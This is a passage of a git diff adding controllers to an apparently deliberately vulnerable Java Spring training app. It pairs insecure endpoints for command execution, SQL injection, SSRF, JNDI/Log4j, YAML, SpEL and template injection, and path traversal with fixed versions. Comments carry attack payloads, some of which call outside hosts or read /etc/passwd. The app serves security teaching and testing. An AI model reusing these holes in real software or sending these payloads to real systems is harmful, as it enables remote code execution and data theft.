00000000..9950e766 --- /dev/null +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -0,0 +1,47 @@ +package org.joychou.controller; + +import org.apache.commons.lang.StringUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +/** + * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html + * + * @author JoyChou @ 2017-12-29 + */ +@RestController +@RequestMapping("/ip") +public class IPForge { + + // no any proxy + @RequestMapping("/noproxy") + public static String noProxy(HttpServletRequest request) { + return request.getRemoteAddr(); + } + + + /** + * proxy_set_header X-Real-IP $remote_addr; + * proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for + * if code used X-Forwarded-For to get ip, the code must be vulnerable. + */ + @RequestMapping("/proxy") + @ResponseBody + public static String proxy(HttpServletRequest request) { + String ip = request.getHeader("X-Real-IP"); + if (StringUtils.isNotBlank(ip)) { + return ip; + } else { + String remoteAddr = request.getRemoteAddr(); + if (StringUtils.isNotBlank(remoteAddr)) { + return remoteAddr; + } + } + return ""; + } + + +} diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java new file mode 100644 index 00000000..df922e7d --- /dev/null +++ b/src/main/java/org/joychou/controller/Index.java @@ -0,0 +1,52 @@ +package org.joychou.controller; + + +import com.alibaba.fastjson.JSON; +import org.apache.catalina.util.ServerInfo; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import java.util.HashMap; +import java.util.Map; + + +/** + * Index page + * + * @author JoyChou @2018-05-28 + */ +@Controller +public class Index { + + @RequestMapping("/appInfo") + @ResponseBody + public static String appInfo(HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + Map m = new HashMap<>(); + + m.put("tomcat_version", ServerInfo.getServerInfo()); + m.put("username", username); + m.put("login", "success"); + m.put("app_name", "java security code"); + m.put("java_version", System.getProperty("java.version")); + m.put("fastjson_version", JSON.VERSION); + + // covert map to string + return JSON.toJSONString(m); + } + + @RequestMapping("/") + public String redirect() { + return "redirect:/index"; + } + + @RequestMapping("/index") + public static String index(Model model, HttpServletRequest request) { + String username = request.getUserPrincipal().getName(); + model.addAttribute("user", username); + return "index"; + } +} diff --git a/src/main/java/org/joychou/controller/JndiInjection.java b/src/main/java/org/joychou/controller/JndiInjection.java new file mode 100644 index 00000000..21f3cf5e --- /dev/null +++ b/src/main/java/org/joychou/controller/JndiInjection.java @@ -0,0 +1,20 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.naming.InitialContext; +import javax.naming.NamingException; + + +@RestController +public class JndiInjection { + + @GetMapping("/jndi") + public String jndi(String url) throws NamingException { + return new InitialContext().lookup(url).toString(); + } + + public static void main(String[] args) { + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java new file mode 100644 index 00000000..2ab0dcef --- /dev/null +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -0,0 +1,142 @@ +package org.joychou.controller; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; + +import com.alibaba.fastjson.JSONPObject; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang.StringUtils; +import org.joychou.security.SecurityUtil; +import org.joychou.util.LoginUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.csrf.CsrfToken; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.json.MappingJackson2JsonView; +import org.joychou.config.WebConfig; +import org.joychou.util.WebUtils; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.security.Principal; + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@Slf4j +@RestController +@RequestMapping("/jsonp") +public class Jsonp { + + private String callback = WebConfig.getBusinessCallback(); + + @Autowired + CookieCsrfTokenRepository cookieCsrfTokenRepository; + /** + * Set the response content-type to application/javascript. + *

+ * http://localhost:8080/jsonp/vuln/referer?callback_=test + */ + @RequestMapping(value = "/vuln/referer", produces = "application/javascript") + public String referer(HttpServletRequest request) { + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + *

+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test + */ + @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") + public String emptyReferer(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (null != referer && SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * Adding callback or _callback on parameter can automatically return jsonp data. + * http://localhost:8080/jsonp/object2jsonp?callback=test + * http://localhost:8080/jsonp/object2jsonp?_callback=test + * + * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. + * Such as JSONOjbect or JavaBean. String type cannot be used. + */ + @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE) + public JSONObject advice(HttpServletRequest request) { + return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request)); + } + + + /** + * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test + * Reference: https://p0sec.net/index.php/archives/122/ from p0 + * Affected version: java-sec-code test case version: 4.3.6 + * - Spring Framework 5.0 to 5.0.6 + * - Spring Framework 4.1 to 4.3.17 + */ + @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) + public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { + ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); + Principal principal = req.getUserPrincipal(); + view.addObject("username", principal.getName()); + return view; + } + + + /** + * Safe code. + * http://localhost:8080/jsonp/sec?callback_=test + */ + @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") + public String safecode(HttpServletRequest request) { + String referer = request.getHeader("referer"); + + if (SecurityUtil.checkURL(referer) == null) { + return "error"; + } + String callback = request.getParameter(this.callback); + return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); + } + + /** + * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa + * + * object to jsonp + */ + @GetMapping("/getToken") + public CsrfToken getCsrfToken1(CsrfToken token) { + return token; + } + + /** + * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa + * + * fastjsonp to jsonp + */ + @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") + public String getCsrfToken2(HttpServletRequest request) { + CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token + + String callback = request.getParameter("fastjsonpCallback"); + if (StringUtils.isNotBlank(callback)) { + JSONPObject jsonpObj = new JSONPObject(callback); + jsonpObj.addParameter(csrfToken); + return jsonpObj.toString(); + } else { + return csrfToken.toString(); + } + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java new file mode 100644 index 00000000..ada8a394 --- /dev/null +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Log4j { + + private static final Logger logger = LogManager.getLogger("Log4j"); + + /** + * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} + * Default: error/fatal/off + * Fix: Update log4j to lastet version. + * @param token token + */ + @GetMapping("/log4j") + public String log4j(String token) { + if(token.equals("java-sec-code")) { + return "java sec code"; + } else { + logger.error(token); + return "error"; + } + } + +} diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java new file mode 100644 index 00000000..16769e4a --- /dev/null +++ b/src/main/java/org/joychou/controller/Login.java @@ -0,0 +1,54 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + +@Controller +public class Login { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/login") + public String login() { + return "login"; + } + + @GetMapping("/logout") + public String logoutPage(HttpServletRequest request, HttpServletResponse response) { + + String username = request.getUserPrincipal().getName(); + + Authentication auth = SecurityContextHolder.getContext().getAuthentication(); + if (auth != null) { + new SecurityContextLogoutHandler().logout(request, response, auth); + } + + String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie + for (String key : deleteCookieKey) { + Cookie cookie = new Cookie(key, null); + cookie.setMaxAge(0); + cookie.setPath("/"); + response.addCookie(cookie); + } + + if (null == request.getUserPrincipal()) { + logger.info("USER " + username + " LOGOUT SUCCESS."); + } else { + logger.info("User " + username + " logout failed. Please try again."); + } + + return "redirect:/login?logout"; + } + +} diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java new file mode 100644 index 00000000..1976b01b --- /dev/null +++ b/src/main/java/org/joychou/controller/PathTraversal.java @@ -0,0 +1,56 @@ +package org.joychou.controller; + +import org.apache.commons.codec.binary.Base64; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Paths; + +@RestController +public class PathTraversal { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd + */ + @GetMapping("/path_traversal/vul") + public String getImage(String filepath) throws IOException { + return getImgBase64(filepath); + } + + @GetMapping("/path_traversal/sec") + public String getImageSec(String filepath) throws IOException { + if (SecurityUtil.pathFilter(filepath) == null) { + logger.info("Illegal file path: " + filepath); + return "Bad boy. Illegal file path."; + } + return getImgBase64(filepath); + } + + private String getImgBase64(String imgFile) throws IOException { + + logger.info("Working directory: " + System.getProperty("user.dir")); + logger.info("File path: " + imgFile); + + File f = new File(imgFile); + if (f.exists() && !f.isDirectory()) { + byte[] data = Files.readAllBytes(Paths.get(imgFile)); + return new String(Base64.encodeBase64(data)); + } else { + return "File doesn't exist or is not a file."; + } + } + + public static void main(String[] argv) throws IOException { + String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8); + System.out.println(aa); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java new file mode 100644 index 00000000..cdf3c459 --- /dev/null +++ b/src/main/java/org/joychou/controller/Rce.java @@ -0,0 +1,162 @@ +package org.joychou.controller; + +import groovy.lang.GroovyShell; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.yaml.snakeyaml.Yaml; +import org.yaml.snakeyaml.constructor.SafeConstructor; + +import javax.script.Bindings; +import javax.script.ScriptContext; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; +import java.io.BufferedInputStream; +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + + +/** + * Java code execute + * + * @author JoyChou @ 2018-05-24 + */ +@RestController +@RequestMapping("/rce") +public class Rce { + + @RequestMapping("/runtime/exec") + public String CommandExec(String cmd) { + Runtime run = Runtime.getRuntime(); + StringBuilder sb = new StringBuilder(); + + try { + Process p = run.exec(cmd); + BufferedInputStream in = new BufferedInputStream(p.getInputStream()); + BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); + String tmpStr; + + while ((tmpStr = inBr.readLine()) != null) { + sb.append(tmpStr); + } + + if (p.waitFor() != 0) { + if (p.exitValue() == 1) + return "Command exec failed!!"; + } + + inBr.close(); + in.close(); + } catch (Exception e) { + return e.toString(); + } + return sb.toString(); + } + + + /** + * http://localhost:8080/rce/ProcessBuilder?cmd=whoami + * @param cmd cmd + */ + @RequestMapping("/ProcessBuilder") + public String processBuilder(String cmd) { + + StringBuilder sb = new StringBuilder(); + + try { + String[] arrCmd = {"/bin/sh", "-c", cmd}; + ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); + Process p = processBuilder.start(); + BufferedInputStream in = new BufferedInputStream(p.getInputStream()); + BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); + String tmpStr; + + while ((tmpStr = inBr.readLine()) != null) { + sb.append(tmpStr); + } + } catch (Exception e) { + return e.toString(); + } + + return sb.toString(); + } + + + /** + * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js + * + * curl http://xx.yy/zz.js + * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} + * + * @param jsurl js url + */ + @RequestMapping("/jscmd") + public void jsEngine(String jsurl) throws Exception{ + // js nashorn javascript ecmascript + ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); + Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); + String cmd = String.format("load(\"%s\")", jsurl); + engine.eval(cmd, bindings); + } + + + /** + * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] + * yaml-payload.jar: https://github.com/artsploit/yaml-payload + * + * @param content payloads + */ + @RequestMapping("/vuln/yarm") + public void yarm(String content) { + Yaml y = new Yaml(); + y.load(content); + } + + @RequestMapping("/sec/yarm") + public void secYarm(String content) { + Yaml y = new Yaml(new SafeConstructor()); + y.load(content); + } + + /** + * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() + * @param content groovy shell + */ + @RequestMapping("groovy") + public void groovyshell(String content) { + GroovyShell groovyShell = new GroovyShell(); + groovyShell.evaluate(content); + } + + + @RequestMapping("jshell") + public String jshell(String content) { +// String result = jdk.jshell.JShell.create().eval(content).get(0).value() +// .replaceAll("^\"", "") +// .replaceAll("\"$", ""); +// .replaceAll("\\r\\n", "\r\n"); + + String result = ""; + + try { + Class clazz = Class.forName("jdk.jshell.JShell"); + Method create = clazz.getMethod("create"); + Method eval = clazz.getMethod("eval", String.class); + Object jshell = create.invoke(null); + result = (String) eval.invoke(jshell, content); + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } + return result; + } + +} + diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java new file mode 100644 index 00000000..afabfe15 --- /dev/null +++ b/src/main/java/org/joychou/controller/SQLI.java @@ -0,0 +1,198 @@ +package org.joychou.controller; + + +import org.joychou.mapper.UserMapper; +import org.joychou.dao.User; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.*; + +import java.sql.*; +import java.util.List; + + +/** + * SQL Injection + * + * @author JoyChou @2018.08.22 + */ + +@SuppressWarnings("Duplicates") +@RestController +@RequestMapping("/sqli") +public class SQLI { + + private static Logger logger = LoggerFactory.getLogger(SQLI.class); + private static String driver = "com.mysql.jdbc.Driver"; + + @Value("${spring.datasource.url}") + private String url; + + @Value("${spring.datasource.username}") + private String user; + + @Value("${spring.datasource.password}") + private String password; + + @Autowired + private UserMapper userMapper; + + + /** + * Vuln Code. + * http://localhost:8080/sqli/jdbc/vuln?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/vuln") + public String jdbc_sqli_vul(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connect to database successfully."); + + // sqli vuln code + Statement statement = con.createStatement(); + String sql = "select * from users where username = '" + username + "'"; + logger.info(sql); + ResultSet rs = statement.executeQuery(sql); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + rs.close(); + con.close(); + + + } catch (ClassNotFoundException e) { + logger.error("Sorry,can`t find the Driver!"); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + + /** + * Security Code. + * http://localhost:8080/sqli/jdbc/sec?username=joychou + * + * @param username username + */ + @RequestMapping("/jdbc/sec") + public String jdbc_sqli_sec(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + // fix code + String sql = "select * from users where username = ?"; + PreparedStatement st = con.prepareStatement(sql); + st.setString(1, username); + + logger.info(st.toString()); // sql after prepare statement + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } + + rs.close(); + con.close(); + + } catch (ClassNotFoundException e) { + logger.error("Sorry, can`t find the Driver!"); + e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + /** + * vuln code + * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 + * + * @param username username + */ + @GetMapping("/mybatis/vuln01") + public List mybatisVuln01(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln01(username); + } + + /** + * vul code + * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23 + * + * @param username username + */ + @GetMapping("/mybatis/vuln02") + public List mybatisVuln02(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln02(username); + } + + // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23 + @GetMapping("/mybatis/orderby/vuln03") + public List mybatisVuln03(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(sort); + } + + + /** + * security code + * http://localhost:8080/sqli/mybatis/sec01?username=joychou + * + * @param username username + */ + @GetMapping("/mybatis/sec01") + public User mybatisSec01(@RequestParam("username") String username) { + return userMapper.findByUserName(username); + } + + /** + * http://localhost:8080/sqli/mybatis/sec02?id=1 + * + * @param id id + */ + @GetMapping("/mybatis/sec02") + public User mybatisSec02(@RequestParam("id") Integer id) { + return userMapper.findById(id); + } + + + /** + * http://localhost:8080/sqli/mybatis/sec03 + */ + @GetMapping("/mybatis/sec03") + public User mybatisSec03() { + return userMapper.OrderByUsername(); + } + + + @GetMapping("/mybatis/orderby/sec04") + public List mybatisOrderBySec04(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); + } + +} diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java new file mode 100644 index 00000000..aa76f9fe --- /dev/null +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -0,0 +1,264 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.security.ssrf.SSRFException; +import org.joychou.util.HttpUtils; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; + + +/** + * Java SSRF vuln or security code. + * + * @author JoyChou @2017-12-28 + */ + +@RestController +@RequestMapping("/ssrf") +public class SSRF { + + private static Logger logger = LoggerFactory.getLogger(SSRF.class); + + + /** + * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd + * + * The default setting of followRedirects is true. + * Protocol: file ftp mailto http https jar netdoc + * UserAgent is Java/1.8.0_102. + */ + @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) + public String URLConnectionVuln(String url) { + return HttpUtils.URLConnection(url); + } + + + @GetMapping("/urlConnection/sec") + public String URLConnectionSec(String url) { + + // Decline not http/https protocol + if (!SecurityUtil.isHttp(url)) { + return "[-] SSRF check failed"; + } + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.URLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/HttpURLConnection/sec") + public String httpURLConnection(@RequestParam String url) { + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.HttpURLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * + * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + */ + @GetMapping("/request/sec") + public String request(@RequestParam String url) { + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.request(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + } + + + /** + * Download the url file. + * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + *

+ * new URL(String url).openConnection() + * new URL(String url).openStream() + * new URL(String url).getContent() + */ + @GetMapping("/openStream") + public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { + InputStream inputStream = null; + OutputStream outputStream = null; + try { + String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url); + // download + response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); + + URL u = new URL(url); + int length; + byte[] bytes = new byte[1024]; + inputStream = u.openStream(); // send request + outputStream = response.getOutputStream(); + while ((length = inputStream.read(bytes)) > 0) { + outputStream.write(bytes, 0, length); + } + + } catch (Exception e) { + logger.error(e.toString()); + } finally { + if (inputStream != null) { + inputStream.close(); + } + if (outputStream != null) { + outputStream.close(); + } + } + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/ImageIO/sec") + public String ImageIO(@RequestParam String url) { + try { + SecurityUtil.startSSRFHook(); + HttpUtils.imageIO(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + return "ImageIO ssrf test"; + } + + + @GetMapping("/okhttp/sec") + public String okhttp(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.okhttp(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102). + * + * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com + */ + @GetMapping("/httpclient/sec") + public String HttpClient(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.httpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Jakarta Commons-HttpClient/3.1. + * + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com + */ + @GetMapping("/commonsHttpClient/sec") + public String commonsHttpClient(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.commonHttpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + /** + * The default setting of followRedirects is true. + * UserAgent is the useragent of browser. + * + * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + */ + @GetMapping("/Jsoup/sec") + public String Jsoup(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.Jsoup(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + * + * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + */ + @GetMapping("/IOUtils/sec") + public String IOUtils(String url) { + try { + SecurityUtil.startSSRFHook(); + HttpUtils.IOUtils(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + return "IOUtils ssrf test"; + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102). + */ + @GetMapping("/HttpSyncClients/vuln") + public String HttpSyncClients(@RequestParam("url") String url) { + return HttpUtils.HttpAsyncClients(url); + } + + +} diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java new file mode 100644 index 00000000..0c44eb93 --- /dev/null +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -0,0 +1,39 @@ +package org.joychou.controller; + + +import org.apache.velocity.VelocityContext; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import org.apache.velocity.app.Velocity; + +import java.io.StringWriter; + +@RestController +@RequestMapping("/ssti") +public class SSTI { + + /** + * SSTI of Java velocity. The latest Velocity version still has this problem. + * Fix method: Avoid to use Velocity.evaluate method. + *

+ * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) + * Open a calculator in MacOS. + * + * @param template exp + */ + @GetMapping("/velocity") + public void velocity(String template) { + Velocity.init(); + + VelocityContext context = new VelocityContext(); + + context.put("author", "Elliot A."); + context.put("address", "217 E Broadway"); + context.put("phone", "555-1337"); + + StringWriter swOut = new StringWriter(); + Velocity.evaluate(context, swOut, "test", template); + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java new file mode 100644 index 00000000..928b0a98 --- /dev/null +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -0,0 +1,38 @@ +package org.joychou.controller; + +import org.springframework.expression.ExpressionParser; +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + + +/** + * SpEL Injection + * + * @author JoyChou @2019-01-17 + */ +@RestController +public class SpEL { + + /** + * SpEL to RCE + * http://localhost:8080/spel/vul/?expression=xxx. + * xxx is urlencode(exp) + * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + */ + @RequestMapping("/spel/vuln") + public String rce(String expression) { + ExpressionParser parser = new SpelExpressionParser(); + // fix method: SimpleEvaluationContext + return parser.parseExpression(expression).getValue().toString(); + } + + public static void main(String[] args) { + ExpressionParser parser = new SpelExpressionParser(); + String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String result = parser.parseExpression(expression).getValue().toString(); + System.out.println(result); + } +} + diff --git a/src/main/java/org/joychou/controller/Spring4Shell.java b/src/main/java/org/joychou/controller/Spring4Shell.java new file mode 100644 index 00000000..c4c88902 --- /dev/null +++ b/src/main/java/org/joychou/controller/Spring4Shell.java @@ -0,0 +1,22 @@ +package org.joychou.controller; + +import org.joychou.dao.User; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Spring4Shell { + @RequestMapping("/login2") + public void login2(@RequestBody User user) { + System.out.println(user.getUsername()); + System.out.println(user.getPassword()); + } + + + @RequestMapping("/login3") + public void login3(User user) { + System.out.println(user.getUsername()); + System.out.println(user.getPassword()); + } +} diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java new file mode 100644 index 00000000..524a2422 --- /dev/null +++ b/src/main/java/org/joychou/controller/Test.java @@ -0,0 +1,101 @@ +package org.joychou.controller; + +//import com.feihong.ldap.template.SpringMemshellTemplate; +//import com.unboundid.util.Base64; +//import org.joychou.util.ClassUtil; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.el.ELProcessor; +import javax.naming.NamingException; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.nio.charset.StandardCharsets; + +@RestController +@RequestMapping("/test") +public class Test { + + @RequestMapping(value = "/") + public String Index(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + 